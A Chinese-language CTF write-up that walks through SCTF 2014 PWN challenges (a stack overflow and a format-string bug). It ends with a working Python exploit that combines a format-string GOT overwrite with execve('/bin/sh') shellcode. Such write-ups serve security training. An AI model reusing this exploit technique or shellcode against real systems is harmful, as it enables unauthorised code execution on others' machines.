因為最近要去做ctf比賽的這一塊所以就針對性的分析一下近些年的各大比賽的PWN題目。主防項目目前先擱置起來了,等比賽打完再去搞吧。
這次分析的是去年的SCTF的賽題,是我的學長們出的題,個人感覺還是很符合套路的:一道棧溢出、一道格式化字符串、一道堆溢出。
pwn200
一個棧溢出。
題目給出了libc。保護只有nx。
拿到題后的基本思路就是leak出got表中函數的地址,然后拿libc算偏移算出system的地址。然后用這個地址去覆蓋一個函數的got表。
pwn300
一個明顯的格式化字符串漏洞,格式化字符串本身是在bss段中的,但是又復制到局部數組里了,想必是出題人為了降低難度。這個也給出了libc。但是沒有辦法像棧溢出那樣leak出got表的內容。雖然可以向任意地址寫但是卻不知道改寫入的地址是多少。第二個問題就是參數,要想執行system就得構造/bin/sh這個參數。這個參數怎么搞?
就是說有兩個問題擺了出來
1.如何求system的地址,雖然有libc可以算偏移,但是沒法leak got表啊
2.如何布置參數,可以寫在數據段里,但是怎么作為參數?
解決方法是不使用ret2libc的方法,而是在固定地址的bss里放置shellcode,再把got表指過去。
具體的就是利用了接受留言內容的那個bss緩沖區了。
這樣就解決了上面那兩個問題
1 #SCTF2014 pwn200 2 #exp by Ox9A82 3 from zio import * 4 import time 5 io=zio('./pwn300') 6 7 chuan1='\x20\x91\x04\x08%37248c%7$hn\n' 8 shellcode="\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f" \ 9 "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0" \ 10 "\x0b\xcd\x80\n" 11 12 io.read_until('choice:') 13 io.write('2\n') 14 io.read_until('message') 15 io.write(chuan1) 16 io.read_until('choice:') 17 io.write('3\n') 18 19 io.read_until('choice:') 20 io.write('2\n') 21 io.read_until('message') 22 io.write(shellcode) 23 io.read_until('choice:') 24 io.write('4\n') 25 26 io.interact()
